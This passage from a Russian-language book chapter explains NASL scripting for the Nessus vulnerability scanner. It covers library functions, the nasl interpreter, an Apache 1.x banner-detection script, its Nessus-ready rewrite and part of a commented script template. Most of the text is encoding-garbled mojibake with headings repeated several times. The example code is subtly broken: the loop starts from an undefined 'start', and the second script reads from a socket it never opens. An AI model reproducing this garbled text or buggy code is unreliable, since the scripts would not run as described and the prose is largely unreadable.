ëè õîñò ðàáîòîñïîñîáíîñòü ïîñëå àòàêè, èìåþùåé öåëüþ âûçâàòü îòêàç îò
îáñëóæèâàíèÿ (DoS-àòàêà), è ïîëó÷àòü ðàçíîîáðàçíóþ èíôîðìàöèþ î õîñòå:
åãî èìÿ, IP-àäðåñ è íîìåð ñëåäóþùåãî îòêðûòîãî ïîðòà.

Ôóíêöèè, ñâÿçàííûå ñ ïðîòîêîëîì HTTPÔóíêöèè, ñâÿçàííûå ñ ïðîòîêîëîì HTTPÔóíêöèè, ñâÿçàííûå ñ ïðîòîêîëîì HTTPÔóíêöèè, ñâÿçàííûå ñ ïðîòîêîëîì HTTPÔóíêöèè, ñâÿçàííûå ñ ïðîòîêîëîì HTTP
Ýòè ôóíêöèè â áèáëèîòåêå NASL ïðåäîñòàâëÿþò ïðîãðàììå èíòåðôåéñ äëÿ
âçàèìîäåéñòâèÿ ñ HTTP-ñåðâåðàìè. Äëÿ âàøåãî óäîáñòâà óæå ðåøåíû òàêèå
çàäà÷è, êàê èçâëå÷åíèå HTTP-çàãîëîâêîâ èç îòâåòà, îòïðàâêà çàïðîñîâ òèïà
GET, POST, PUT è DELETE, à òàêæå îïðåäåëåíèå êîìïîíåíòà ïóòè ê CGI-ïðî-
ãðàììàì.

Ôóíêöèè ìàíèïóëèðîâàíèÿ ïàêåòàìèÔóíêöèè ìàíèïóëèðîâàíèÿ ïàêåòàìèÔóíêöèè ìàíèïóëèðîâàíèÿ ïàêåòàìèÔóíêöèè ìàíèïóëèðîâàíèÿ ïàêåòàìèÔóíêöèè ìàíèïóëèðîâàíèÿ ïàêåòàìè
Â NASL åñòü âñòðîåííûå ôóíêöèè äëÿ èçãîòîâëåíèÿ ñïåöèàëüíûõ ïàêåòîâ
ïðîòîêîëîâ IGMP (Internet Group Management Protocol – ìåæñåòåâîé ïðîòî-
êîë óïðàâëåíèÿ ãðóïïàìè), ICMP (Internet Control Message Protocol – ïðîòîêîë
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êîíòðîëÿ ñîîáùåíèé â ñåòè Internet), IP, TCP è UDP. Ñ ïîìîùüþ ñåìåéñòâà
ôóíêöèé get è set ìîæíî çàäàâàòü è ïîëó÷àòü îòäåëüíûå ïîëÿ â ïàêåòå.

Ôóíêöèè ìàíèïóëèðîâàíèÿ ñòðîêàìèÔóíêöèè ìàíèïóëèðîâàíèÿ ñòðîêàìèÔóíêöèè ìàíèïóëèðîâàíèÿ ñòðîêàìèÔóíêöèè ìàíèïóëèðîâàíèÿ ñòðîêàìèÔóíêöèè ìàíèïóëèðîâàíèÿ ñòðîêàìè
Êàê è ìíîãèå äðóãèå ÿçûêè âûñîêîãî óðîâíÿ, NASL ñîäåðæèò ôóíêöèè äëÿ
ðàñùåïëåíèÿ ñòðîêè, ïîèñêà ïî ðåãóëÿðíîìó âûðàæåíèþ, óäàëåíèÿ õâîñòî-
âûõ ïðîáåëîâ, âû÷èñëåíèÿ äëèíû ñòðîêè è ïðåîáðàçîâàíèÿ ðåãèñòðà. Èìåþò-
ñÿ òàêæå ôóíêöèè, ïîëåçíûå äëÿ àíàëèçà óÿçâèìîñòåé, èç êîòîðûõ íàèáîëåå
ïðèìå÷àòåëüíà ôóíêöèÿ crap, òåñòèðóþùàÿ íàëè÷èå ïåðåïîëíåíèÿ áóôåðà,
êîòîðàÿ âîçâðàùàåò áóêâó X èëè ïðîèçâîëüíóþ ñòðîêó, ïîâòîðåííóþ ñòîëüêî
ðàç, ñêîëüêî íåîáõîäèìî äëÿ çàïîëíåíèÿ áóôåðà çàäàííîãî ðàçìåðà.

Êðèïòîãðàôè÷åñêèå ôóíêöèèÊðèïòîãðàôè÷åñêèå ôóíêöèèÊðèïòîãðàôè÷åñêèå ôóíêöèèÊðèïòîãðàôè÷åñêèå ôóíêöèèÊðèïòîãðàôè÷åñêèå ôóíêöèè
Åñëè ïðîãðàììà Nessus áûëà ñîáðàíà âìåñòå ñ áèáëèîòåêîé OpenSSL, òî NASL
ïðåäîñòàâëÿåò ôóíêöèè äëÿ âû÷èñëåíèÿ ðàçëè÷íûõ êðèïòîãðàôè÷åñêèõ
ñâåðòîê è êîíòðîëüíûõ ñóìì, âêëþ÷àÿ Message Digest 2 (MD2), Message Digest
4 (MD4). Message Digest 5 (MD5), RIPEMD160, Secure Hash Algorithm (SHA) è
Secure Hash Algorithm version 1.0 (SHA1). Åñòü òàêæå íåñêîëüêî ôóíêöèé äëÿ
ãåíåðèðîâàíèÿ êîäà àóòåíòèôèêàöèè ñîîáùåíèé (Message Authentication
Code) íà îñíîâå ïðîèçâîëüíûõ äàííûõ è çàäàííîãî êëþ÷à. Ê íèì îòíîñÿòñÿ
ôóíêöèè äëÿ âû÷èñëåíèÿ ñâåðòîê HMAC_DSS, HMAC_MD2, HMAC_MD4,
HMAC_MD5, HMAC_RIPEMD160, HMAC_SHA è HMAC_SHA1.

Èíòåðïðåòàòîð êîìàíä NASLÈíòåðïðåòàòîð êîìàíä NASLÈíòåðïðåòàòîð êîìàíä NASLÈíòåðïðåòàòîð êîìàíä NASLÈíòåðïðåòàòîð êîìàíä NASL
Ïðîãðàììèðóÿ íà NASL, ïîëüçóéòåñü âñòðîåííûì èíòåðïðåòàòîðîì êîìàíä
nasl äëÿ òåñòèðîâàíèÿ ñâîèõ ñöåíàðèåâ. Â ñèñòåìàõ Linux è FreeBSD èíòåðïðå-
òàòîð êîìàíä íàõîäèòñÿ â êàòàëîãå /usr/local/bin. Íà ìîìåíò íàïèñàíèÿ ýòîé
êíèãè åùå íå ñóùåñòâîâàëî àâòîíîìíîãî èíòåðïðåòàòîðà êîìàíä NASL äëÿ
Windows. Ïîëüçîâàòüñÿ èíòåðïðåòàòîðîì íåñëîæíî. Ïîðÿäîê âûçîâà òàêîâ:

nasl -t target_ip scriptname1.nasl scriptname2.nasl ...

Åñëè âàì íóæíû òîëüêî «áåçîïàñíûå ïðîâåðêè», äîáàâüòå ôëàã -s. Åñòü è
äðóãèå ôëàãè, ïîäðîáíåå î íèõ ìîæíî óçíàòü, âûïîëíèâ êîìàíäó man nasl.

ÏðèìåðÏðèìåðÏðèìåðÏðèìåðÏðèìåð
Ïðåäñòàâüòå, ÷òî ïåðåä âàìè ñòîèò çàäà÷à îáíîâëåíèÿ âñåõ ñâîèõ ñåðâåðîâ
Apache ñ âåðñèè 1.x äî âåðñèè 2.x. Òîãäà ìîæíî íàïèñàòü NASL-ñöåíàðèé,
êîòîðûé ïðîñêàíèðóåò âñå êîìïüþòåðû â âàøåé ñåòè, èçâëå÷åò èç îòâåòîâ
«øàïêè» (banner – ñòðîêà, â êîòîðîé óêàçàíû èìÿ è âåðñèÿ ïðîãðàììû) è âû-
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âåäåò ñîîáùåíèå ïðè îáíàðóæåíèè ñòàðîé âåðñèè Apache. Ïðèâåäåííûé
â ñëåäóþùåì ïðèìåðå ñöåíàðèé íå ïðåäïîëàãàåò, ÷òî Apache ðàáîòàåò íà
ñòàíäàðòíîì ïîðòó 80.

Ýòîò ñöåíàðèé íåòðóäíî ìîäèôèöèðîâàòü òàê, ÷òîáû îí ïå÷àòàë âñå îáíà-
ðóæåííûå øàïêè, òî åñòü ïðåâðàòèòü åãî â ïðîñòîé ñêàíåð TCP-ïîðòîâ. Åñëè
ñöåíàðèþ ïðèñâîåíî èìÿ apache_find.nasl, à âàøåé ñåòè âûäåëåí äèàïàçîí
IP-àäðåñîâ îò 192.168.1.1 äî 192.168.1.254, òî êîìàíäà äëÿ çàïóñêà ìîãëà áû
âûãëÿäåòü ïðèìåðíî òàê:

nasl -t 192.168.1.1-254 apache_find.nasl

 1 # ñêàíèðîâàòü âñå 65 535 ïîðòîâ â ïîèñêàõ Web-ñåðâåðîâ Apache 1.x

 2 # çàäàéòå first è last ðàâíûìè 80, åñëè õîòèòå ïðîâåðÿòü òîëüêî

 3  # ñòàíäàðòíûé ïîðò
 4 first = 1;

 5 last = 65535;

 6
 7 for (i = start; i < last; i++) {

 8   # ïûòàåìñÿ ñîçäàòü TCP-ñîåäèíåíèå ñ öåëåâûì ïîðòîì

 9   soc = open_soc_tcp(i);

10   if (soc) {

11      # ÷èòàòü íå áîëåå 1024 ñèìâîëîâ øàïêè èëè ïîêà íå âñòðåòèòñÿ "\n"

12      banner = recv_line(socket: soc, length:1024);

13      # ñîäåðæèò ëè øàïêà ñòðîêó "Apache/1."?

14      if (egrep(string: banner, pattern:"^Server: *Apache/1\.")) {
15         display("Apache âåðñèè 1 íàéäåí íà ïîðòó ", i, "\n");

16      }

17      close(soc);

18   }

19 }

Â ñòðîêàõ 4 è 5 çàäàþòñÿ íà÷àëüíûé è êîíå÷íûé íîìåðà ñêàíèðóåìûõ ïîðòîâ.
Îòìåòèì, ÷òî ýòî ïîëíûé äèàïàçîí ïîðòîâ ñèñòåìû (çà èñêëþ÷åíèåì íóëåâî-
ãî ïîðòà, êîòîðûé ÷àñòî èñïîëüçóåòñÿ äëÿ àòàêè èëè ñáîðà èíôîðìàöèè).

Â ñòðîêàõ 9 è 10 îòêðûâàåòñÿ ñîåäèíåíèå ñ ñîêåòîì è ïðîâåðÿåòñÿ, âûïîë-
íèëàñü ëè ýòà îïåðàöèÿ óñïåøíî. Ïîëó÷èâ øàïêó ñ ïîìîùüþ ôóíêöèè
recv_l ine (ñòðîêà 12), ìû â ñòðîêå  14 ñîïîñòàâëÿåì åå  ñ ðåãóëÿðíûì âûðàæåíè-
åì è âûÿñíÿåì, ñîîòâåòñòâóåò ëè øàïêà ñåðâåðó Apache. È íàêîíåö ñöåíàðèé
ïå÷àòàåò ñîîáùåíèå î òîì, ÷òî íà íåêîòîðîì ïîðòó íàéäåí Apache âåðñèè 1.

Õîòÿ ýòà ïðîãðàììà äîñòàòî÷íî ýôôåêòèâíî ðåøàåò êîíêðåòíóþ çàäà÷ó,
òàêîãî ðîäà ñöåíàðèè ïëîõî ïðèñïîñîáëåíû äëÿ ðàáîòû â ñðåäå Nessus. Åñëè
Nessus ðàáîòàåò ñ ïîëíîé áèáëèîòåêîé ïðîâåðîê, òî êàæäûé ñöåíàðèé ìîæåò
âîñïîëüçîâàòüñÿ ðåçóëüòàòàìè ðàáîòû ðàíåå èñïîëíÿâøèõñÿ ñöåíàðèåâ.
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Â äàííîì ñëó÷àå ñöåíàðèé «âðó÷íóþ» ñêàíèðóåò êàæäûé ïîðò, ïîëó÷àåò øàï-
êó è èùåò â íåé ñòðîêó «Apache». Òîëüêî ïîäóìàéòå, íàñêîëüêî íåýôôåêòèâ-
íî ôóíêöèîíèðîâàëà áû Nessus, åñëè áû êàæäîìó ñöåíàðèþ ïðèõîäèëîñü âû-
ïîëíÿòü òàêîé îáúåì ðàáîòû! Â ñëåäóþùåì ðàçäåëå ìû ðàññêàæåì, êàê îïòè-
ìèçèðîâàòü NASL-ñöåíàðèè äëÿ çàïóñêà èç-ïîä Nessus.

Программирование в среде Nessus

Åñëè âû íàïèñàëè è ïðîòåñòèðîâàëè ñöåíàðèé â êîìàíäíîì èíòåðïðåòàòîðå,
òî äëÿ òîãî ÷òîáû çàñòàâèòü åãî ðàáîòàòü â êîíñîëè Nessus, ïðèäåòñÿ âíåñòè
ëèøü íåáîëüøèå ìîäèôèêàöèè. À ïîñëå ýòîãî ìîæíî ïåðåäàòü ñâîé ñöåíà-
ðèé â îáùåå ïîëüçîâàíèå, îòîñëàâ åãî àäìèíèñòðàòîðó Nessus.

Îïèñàòåëüíûå ôóíêöèèÎïèñàòåëüíûå ôóíêöèèÎïèñàòåëüíûå ôóíêöèèÎïèñàòåëüíûå ôóíêöèèÎïèñàòåëüíûå ôóíêöèè
×òîáû ïðåäîñòàâèòü ñâîþ ðàáîòó âñåìó ñîîáùåñòâó ïîëüçîâàòåëåé Nessus, íå-
îáõîäèìî âêëþ÷àòü â ñöåíàðèé çàãîëîâîê, ñîäåðæàùèé íàçâàíèå, ïîäðîáíîå
îïèñàíèå è äðóãóþ èíôîðìàöèþ, íåîáõîäèìóþ ÿäðó Nessus. Ýòè «îïèñàòåëü-
íûå ôóíêöèè» ïîçâîëÿþò Nessus âûïîëíÿòü ëèøü ñöåíàðèè, íåîáõîäèìûå
äëÿ òåñòèðîâàíèÿ çàäàííîé öåëåâîé ñèñòåìû è ïðèíàäëåæàùèå çàäàííîé êà-
òåãîðèè (ñáîð èíôîðìàöèè, ñêàíèðîâàíèå, àòàêà, DoS-àòàêà è òàê äàëåå).

Ôóíêöèè, îòíîñÿùèåñÿ ê áàçå çíàíèéÔóíêöèè, îòíîñÿùèåñÿ ê áàçå çíàíèéÔóíêöèè, îòíîñÿùèåñÿ ê áàçå çíàíèéÔóíêöèè, îòíîñÿùèåñÿ ê áàçå çíàíèéÔóíêöèè, îòíîñÿùèåñÿ ê áàçå çíàíèé
Ðàçäåëÿåìûå ñöåíàðèè äîëæíû áûòü íàïèñàíû ìàêñèìàëüíî ýôôåêòèâíî.
Ýòî îçíà÷àåò, â ÷àñòíîñòè, ÷òî ñöåíàðèé íå äîëæåí ïîâòîðÿòü ðàáîòó, óæå
âûïîëíåííóþ äðóãèìè ñöåíàðèÿìè. Êðîìå òîãî, ñöåíàðèé äîëæåí ñîõðàíèòü
èíôîðìàöèþ î ðåçóëüòàòàõ ñâîåé ðàáîòû, ÷òîáû äðóãèå ñöåíàðèè ìîãëè åé
âîñïîëüçîâàòüñÿ. Öåíòðàëüíûé ìåõàíèçì äëÿ îòñëåæèâàíèÿ ñîáðàííîé èí-
ôîðìàöèè íàçûâàåòñÿ áàçîé çíàíèé.

Ïîëüçîâàòüñÿ áàçîé çíàíèé íåòðóäíî â ñèëó äâóõ ïðè÷èí:

� Âûçîâ ôóíêöèé, ðàáîòàþùèõ ñ áàçîé çíàíèé, òðèâèàëåí, ýòî ãîðàçäî
ïðîùå, ÷åì ñêàíèðîâàòü ïîðòû, âðó÷íóþ èçâëåêàòü èç ïîòîêà øàïêè
èëè çàíèìàòüñÿ ïîâòîðíîé ðåàëèçàöèåé ëþáîé èìåþùåéñÿ â áàçå çíà-
íèé ôóíêöèîíàëüíîñòè;

� Nessus àâòîìàòè÷åñêè ïîðîæäàåò íîâûå ïðîöåññû, åñëè çàïðîñ ê áàçå
çíàíèé âîçâðàùàåò áîëåå îäíîãî ðåçóëüòàòà.

Äëÿ èëëþñòðàöèè ýòèõ ïîëîæåíèé ðàññìîòðèì çàäà÷ó àíàëèçà âñåõ ñëóæá
HTTP íà êîíêðåòíîé ìàøèíå. Íå ïðèáåãàÿ ê áàçå çíàíèé, ìîæíî áûëî áû
íàïèñàòü ñöåíàðèé, êîòîðûé ñêàíèðóåò âñå ïîðòû íà ýòîé ìàøèíå, ïðîâåðÿåò
øàïêè, è, îáíàðóæèâ èñêîìîå, âûïîëíÿåò êàêèå-òî äåéñòâèÿ. Íî çàïóñêàòü
â ñðåäå Nessus ïîäîáíûå ñöåíàðèè, êàæäûé èç êîòîðûõ âûïîëíÿåò ëèøíþþ
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ðàáîòó è ïîòðåáëÿåò âðåìÿ è ïîëîñó ïðîïóñêàíèÿ, ÷óäîâèùíî íåýôôåêòèâ-
íî. Âîñïîëüçîâàâøèñü áàçîé çíàíèé, ñöåíàðèé ìîæåò äîáèòüñÿ òîãî æå ýô-
ôåêòà, âûçâàâ åäèíñòâåííóþ ôóíêöèþ get_kb_item(«Services/www»), êîòîðàÿ
âåðíåò íîìåð ïîðòà íàéäåííîãî HTTP-ñåðâåðà è àâòîìàòè÷åñêè çàïóñòèò íî-
âûé ïðîöåññ äëÿ êàæäîãî îòâåòà, âîçâðàùåííîãî áàçîé çíàíèé (òàê, åñëè
ñëóæáà HTTP îáíàðóæåíà íà ïîðòàõ 80 è 2701, òî âûçîâ ôóíêöèè âåðíåò 80,
çàïóñòèò íîâûé ïðîöåññ è âåðíåò 2701).

Ôóíêöèè èçâåùåíèÿ î ðåçóëüòàòàõ ðàáîòûÔóíêöèè èçâåùåíèÿ î ðåçóëüòàòàõ ðàáîòûÔóíêöèè èçâåùåíèÿ î ðåçóëüòàòàõ ðàáîòûÔóíêöèè èçâåùåíèÿ î ðåçóëüòàòàõ ðàáîòûÔóíêöèè èçâåùåíèÿ î ðåçóëüòàòàõ ðàáîòû
Â NASL åñòü ÷åòûðå âñòðîåííûõ ôóíêöèè, âîçâðàùàþùèå èíôîðìàöèþ
î ðåçóëüòàòàõ ðàáîòû ñöåíàðèÿ ÿäðó Nessus. Ôóíêöèÿ scanner_status ïîçâîëÿåò
ñöåíàðèþ ñîîáùèòü, ñêîëüêî ïîðòîâ áûëî ïðîñêàíèðîâàíî è ñêîëüêî åùå
îñòàëîñü. Îñòàëüíûå òðè ôóíêöèè (security_note, security_warning è security_hole)
ïðèìåíÿþòñÿ äëÿ ïåðåäà÷è ÿäðó îò÷åòà î ðàçëè÷íûõ àñïåêòàõ áåçîïàñíîñòè,
íåêðèòè÷åñêèõ ïðåäóïðåæäåíèé è ñîîáùåíèé î êðèòè÷åñêèõ óÿçâèìîñòÿõ.
Nessus ñîáèðàåò ýòè ñâåäåíèÿ è ôîðìèðóåò íà èõ îñíîâå ñâîäíûé îò÷åò.

ÏðèìåðÏðèìåðÏðèìåðÏðèìåðÏðèìåð
Íèæå ïðèâåäåí ñöåíàðèé, ïðåäñòàâëåííûé â ïðåäûäóùåì ðàçäåëå, êîòîðûé
áûë ïåðåïèñàí ñ ó÷åòîì òðåáîâàíèé ñðåäû Nessus. «Îïèñàòåëüíûå» ôóíêöèè
ïåðåäàþò Nessus èìÿ ñöåíàðèÿ, åãî íàçíà÷åíèå è êàòåãîðèþ. Ïîñëå áëîêà
îïèñàíèÿ íà÷èíàåòñÿ ñîáñòâåííî òåëî ñöåíàðèÿ. Îáðàòèòå âíèìàíèå íà èñ-
ïîëüçîâàíèå ôóíêöèè get_kb_item(«Services/www»). Êàê ìû óæå îòìå÷àëè,
ïðè åå âûïîëíåíèè èíòåðïðåòàòîð NASL çàïóñêàåò íîâûé ïðîöåññ äëÿ êàæäî-
ãî íàéäåííîãî â áàçå çíàíèé çíà÷åíèÿ ñëóæáû «Services/www». Òàêèì îáðà-
çîì, ñöåíàðèé ïðîâåðèò øàïêó, âîçâðàùàåìóþ êàæäûì HTTP-ñåðâåðîì íà
öåëåâîé ìàøèíå, íå âûïîëíÿÿ ñêàíèðîâàíèÿ ïîðòîâ ñàìîñòîÿòåëüíî. Åñëè
áóäåò îáíàðóæåíà èñêîìàÿ âåðñèÿ Apache, òî ñ ïîìîùüþ ôóíêöèè security_note
ýòà èíôîðìàöèÿ áóäåò ñîîáùåíà ÿäðó Nessus. Åñëè ñöåíàðèé ïðîâåðÿåò íàëè-
÷èå óÿçâèìîñòåé, òî ìîæíî âîñïîëüçîâàòüñÿ ôóíêöèÿìè security_warning
èëè security_hole.

 1 if (description) {
 2    script_version("$Revision: 1.0 $");
 3
 4    name["english"] = "Ïîèñê Apache âåðñèè 1.x";
 5    script_name(english:name["english"]);
 6
 7    desc["english"] = "Ýòîò ñöåíàðèé èùåò ñåðâåðû Apache 1.x.
 8 Ìîæåò èñïîëüçîâàòüñÿ àäìèíèñòðàòîðîì, æåëàþùèì îáíîâèòü âñå
 9 ýêçåìïëÿðû Apache äî âåðñèè 2.x.
10

Написание сценариев на языке NASL
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11 Îöåíêà ðèñêà : íèçêàÿ";

12
13   script_description(english:desc["english"]);

14
15   summary["english"] = "Ïîèñê ñåðâåðîâ âåðñèè Apache 1.x.";
16   script_summary(english:summary["english"]);
17
18   script_category(ACT_GATHER_INFO);
19
20   script_copyright(english:"No copyright.");

21
22   family["english"] = "General";
23   script_family(english:family["english"]);

24   script_dependencies("find_service.nes","no404.nasl",

     "http_version.nasl");

25   script_require_ports("Services/www");
26   script_require_keys("www/apache");

27   exit(0);

28 }
29
30 # Íà÷àëî ïðîâåðêè
31
32 include("http_func.inc");
33
34 port = get_kb_item("Services/www");
35 if (!port) port = 80;
36
37 if (get_port_state(port)) {
38    banner = recv_line(socket: soc, length:1024);
39    # ñîäåðæèò ëè øàïêà ñòðîêó "Apache/1."?
40    if (egrep(string: banner, pattern:"^Server: *Apache/1\.")) {
41       display("Ñåðâåð Apache âåðñèè 1 îáíàðóæåí íà ïîðòó ", i, "\n");
42    }
43    security_note(port);
44 }

Õîòÿ äâóõ îäèíàêîâûõ NASL-ñöåíàðèåâ íå ñóùåñòâóåò, áîëüøèíñòâî èç
íèõ ñòðîÿòñÿ ïî ïðèâåäåííîé ñõåìå. Âíà÷àëå èäóò êîìàíäû, ïîÿñíÿþùèå
íàçâàíèå, êðàòêîå îïèñàíèå ïðîáëåìû èëè óÿçâèìîñòè è íàçíà÷åíèå ñöåíà-
ðèÿ. Çàòåì ñëåäóåò îïèñàíèå, ïåðåäàâàåìîå ÿäðó Nessus, êîòîðîå âêëþ÷àåòñÿ
â îò÷åò, ôîðìèðóåìûé, êîãäà çàïóùåííûé ñöåíàðèé îáíàðóæèâàåò óÿçâèìóþ
ñèñòåìó. Íàêîíåö, îáû÷íî â òåêñòå åñòü ñòðîêà «Íà÷àëî ñöåíàðèÿ», îòìå÷àþ-
ùàÿ, ãäå íà÷èíàåòñÿ ñàì êîä.

Òåëà âñåõ ñöåíàðèåâ, êîíå÷íî, ðàçëè÷íû, íî ñöåíàðèé, êàê ïðàâèëî,
ïîëüçóåòñÿ èíôîðìàöèåé èç áàçû çíàíèé è ñîõðàíÿåò â íåé ðåçóëüòàòû ñâîåé
ðàáîòû, âûïîëíÿåò òîò èëè èíîé àíàëèç öåëåâîé ñèñòåìû, ïðåäâàðèòåëüíî
óñòàíîâèâ ñîåäèíåíèå ñ íåé ÷åðåç ñîêåò, è âîçâðàùàåò TRUE êàê ñâèäåòåëü-
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ñòâî óÿçâèìîñòè ñèñòåìû ïî îòíîøåíèþ ê ïðîâåðÿåìîìó óñëîâèþ. Íèæå
ïðèâåäåí øàáëîí, ñëåäóÿ êîòîðîìó âû ìîæåòå ñîçäàòü ïðàêòè÷åñêè ëþáîé
NASL-ñöåíàðèé.

Пример: канонический сценарий
на языке NASL
 1 #

 2 # Ýòî ïðîêîììåíòèðîâàííûé øàáëîí NASL-ñöåíàðèÿ.

 3 #

 4
 5 #

 6 # Íàçâàíèå è îïèñàíèå ñöåíàðèÿ

 7 #

 8 # Âêëþ÷èòå â íà÷àëî ñöåíàðèÿ ïîäðîáíûé êîììåíòàðèé, îïèñûâàþùèé,

 9 # ÷òî ñöåíàðèé ïðîâåðÿåò è êàêèå âåðñèè ïðîâåðÿåìîé ïðîãðàììû

10 # óÿçâèìû, âàøå èìÿ, äàòó ñîçäàíèÿ ñöåíàðèÿ, ïðèçíàíèå çàñëóã

11 # àâòîðà îðèãèíàëüíîãî ýêñïëîéòà è ëþáóþ äðóãóþ èíôîðìàöèþ, êîòîðóþ

12 # ñî÷òåòå íóæíîé.

13 #

14 #

15
16 if (description)

17 {

18  # Âñå ñöåíàðèè äîëæíû ñîäåðæàòü îïèñàíèå âíóòðè óñëîâíîãî
19  # ïðåäëîæåíèÿ "if (description) { ... }". Ôóíêöèè â ýòîé ñåêöèè
20  # ïåðåäàþò èíôîðìàöèþ ÿäðó Nessus.
21  #
22  #
23  # Ìíîãèå ôóíêöèè â ýòîì ðàçäåëå ïðèíèìàþò èìåíîâàííûå ïàðàìåòðû
24  # äëÿ ïîääåðæêè ðàçëè÷íûõ ÿçûêîâ. Â íàñòîÿùåå âðåìÿ Nessus
25  # ïîääåðæèâàåò àíãëèéñêèé (english), ôðàíöóçñêèé (francais),
26  # íåìåöêèé (deutsch) è ïîðòóãàëüñêèé (portuguese) ÿçûêè. Åñëè
27  # èìÿ àðãóìåíòà íå çàäàíî, ïðåäïîëàãàåòñÿ àíãëèéñêèé ÿçûê.
28  # Îïèñàíèå íà àíãëèéñêîì îáÿçàòåëüíî, íà äðóãèõ ÿçûêàõ – ïî æåëàíèþ.
29
30  script_version("$Revision:1.0$");
31
32  # script_name – ýòî ïðîñòî èìÿ ñöåíàðèÿ. Âûáèðàéòå èíôîðìàòèâíûå
33  # èìåíà, íàïðèìåð, èìÿ "php_4_2_x_malformed_POST.nasl" ëó÷øå,
34  # ÷åì ïðîñòî "php.nasl"
35  #
36  name["english"] = "Èìÿ ñöåíàðèÿ íà àíãëèéñêîì";
37  name["francais"] = "Èìÿ ñöåíàðèÿ íà ôðàíöóçñêîì";

Пример: канонический сценарий на языке NASL
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38  script_name(english:name["english"], francais:name["francais"]);
39
40  # script_description – ýòî ïîäðîáíîå îïèñàíèÿ óÿçâèìîñòè.
41  desc["english"] = "
42 Ýòî îïèñàíèå Nessus ïîêàæåò ïðè ïðîñìîòðå ñöåíàðèÿ. Â íåì íàäî

43 ðàññêàçàòü, ÷òî ñöåíàðèé äåëàåò, êàêèå âåðñèè ïðîãðàìì óÿçâèìû,

44 äàòü ññûëêè íà èñòî÷íèê èñõîäíîé èíôîðìàöèè, íà ñòàòüè â CVE è
45 BugTraq (åñëè îíè åñòü), ññûëêó íà ñàéò ïðîèçâîäèòåëÿ ïðîãðàììû,

46 íà ïàò÷, à òàêæå ëþáóþ äðóãóþ èíôîðìàöèþ, êîòîðóþ âû ñî÷òåòå

47 ïîëåçíîé.

48
49
50 Òåêñò íå íà÷èíàåòñÿ ñ êðàñíîé ñòðîêè, ÷òîáû îí ïðàâèëüíî îòîáðàæàëñÿ

51 â ãðàôè÷åñêîì èíòåðôåéñå Nessus.";

52 script_description(english:desc["english"]);
53
54  # script_summary – ýòî îäíîñòðî÷íîå îïèñàíèå íàçíà÷åíèÿ ñöåíàðèÿ.
55  summary["english"] = "Îäíîñòðî÷íîå îïèñàíèå íà àíãëèéñêîì.";
56  summary["francais"] = " Îäíîñòðî÷íîå îïèñàíèå íà ôðàíöóçñêîì.";
57  script_summary(english:summary["english"],
                   francais:summary["francais"]);

58
59  # script_category – ýòî îäíà èç ñëåäóþùèõ êàòåãîðèé:
60  # ACT_INIT: ñöåíàðèé èíèöèàëèçèðóåò ñòàòüè â ÁÇ.
61  # ACT_SCANNER: ñêàíåð ïîðòîâ èëè íå÷òî ïîäîáíîå (òèïà ping)
62  # ACT_SETTINGS: çàïèñûâàåò èíôîðìàöèþ â ÁÇ ïîñëå ACT_SCANNER.
63  # ACT_GATHER_INFO: èäåíòèôèöèðóåò ñëóæáû, ðàçáèðàåò øàïêè.

64  # ACT_ATTACK: àòàêà áåç ïîñëåäñòâèé (íàïðèìåð, îáõîä êàòàëîãîâ)
65  # ACT_MIXED_ATTACK: çàïóñêàåò ïîòåíöèàëüíî îïàñíûå àòàêè.
66  # ACT_DESTRUCTIVE_ATTACK: ïûòàåòñÿ èñêàçèòü äàííûå.
67  # ACT_DENIAL: ïûòàåòñÿ âûçâàòü îòêàç ñëóæáû.
68  # ACT_KILL_HOST: ïûòàåòñÿ âûâåñòè ìàøèíó-æåðòâó èç ñòðîÿ.
69  script_category(ACT_DENIAL);

70
71  # script_copyright äàåò âîçìîæíîñòü çàÿâèòü îá àâòîðñêèõ ïðàâàõ íà
72  # ñöåíàðèé. ×àñòî ñîäåðæèò ïðîñòî èìÿ àâòîðà, èíîãäà ëèöåíçèþ GPL
73  # èëè ñòðîêó "No copyright." (îòêàç îò àâòîðñêèõ ïðàâ)
74  script_copyright(english:"No copyright.");
75
76  # script_family êëàññèôèöèðóåò ïîâåäåíèå ñöåíàðèÿ. Äîïóñòèìû
77  # ñëåäóþùèå çíà÷åíèÿ:
78  # – Backdoors (÷åðíûé õîä)
79  # – CGI abuses (àòàêà íà CGI-ïðîãðàììó)
80  # – CISCO
81  # – Denial of Service (îòêàç îò îáñëóæèâàíèÿ)

82  # – Finger abuses (àòàêà íà ñëóæáó finger)

83  # – Firewalls (ìåæñåòåâûå ýêðàíû)
84  # – FTP
85  # – Gain a shell remotely (óäàëåííîå ïîëó÷åíèå îáîëî÷êè)
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 86 # – Gain root remotely (óäàëåíèå ïîëó÷åíèå ïðàâ ïîëüçîâàòåëÿ root)
 87 # – General (îáùèå)
 88 # – Misc. (ðàçíîå)
 89 # – Netware
 90 # – NIS
 91 # – Ports scanners (ñêàíåðû ïîðòîâ)
 92 # – Remote file access (óäàëåííûé äîñòóï ê ôàéëàì)
 93 # – RPC
 94 # – Settings (ïîëó÷åíèå è èçìåíåíèå êîíôèãóðàöèè)
 95 # – SMTP problems (ïðîáëåìû â SMTP)
 96 # – SNMP
 97 # – Untested (íå òåñòèðîâàëîñü)
 98 # – Useless services (áåñïîëåçíûå ñëóæáû)
 99 # – Windows
100 # – Windows : User management (Windows : óïðàâëåíèå ïîëüçîâàòåëÿìè)
101 family["english"] = "Denial of Service";
102 family["francais"] = "Deni de Service";
103 script_family(english:family["english"],
                  francais:family["francais"]);

104
105 # script_dependencies ýòî òî æå ñàìîå, ÷òî íåïðàâèëüíî íàïèñàííàÿ
106 # ôðàçà "script_dependencie" â NASL1. Ýòîò ðàçäåë ãîâîðèò î òîì,
107 # êàêèå NASL-ñöåíàðèè íåîáõîäèìû äëÿ ïðàâèëüíîé ðàáîòû äàííîãî.
108 #
109 script_dependencies("find_service.nes");
110
111 # Ôóíêöèÿ script_require_ports ïðèíèìàåò îäèí èëè íåñêîëüêî íîìåðîâ
112 # ïîðòîâ èç áàçû çíàíèé
113 script_require_ports("Services/www",80);
114
115 # Âñåãäà íåîáõîäèìî âûõîäèòü èç áëîêà îïèñàíèÿ
116 exit(0);
117}
118
119 #
120 # Íà÷àëî ïðîâåðêè
121 #
122
123 # Ñíà÷àëà âêëþ÷èì äðóãèå ñöåíàðèè è áèáëèîòå÷íûå ôóíêöèè
124 include("http_func.inc");
125
126 # Ïîëó÷èòü íà÷àëüíóþ èíôîðìàöèè èç ÁÇ èëè îò öåëåâîé ñèñòåìû
127 port = get_kb_item("Services/www");
128 if ( !port ) port = 80;
129 if ( !get_port_state(port) ) exit(0);
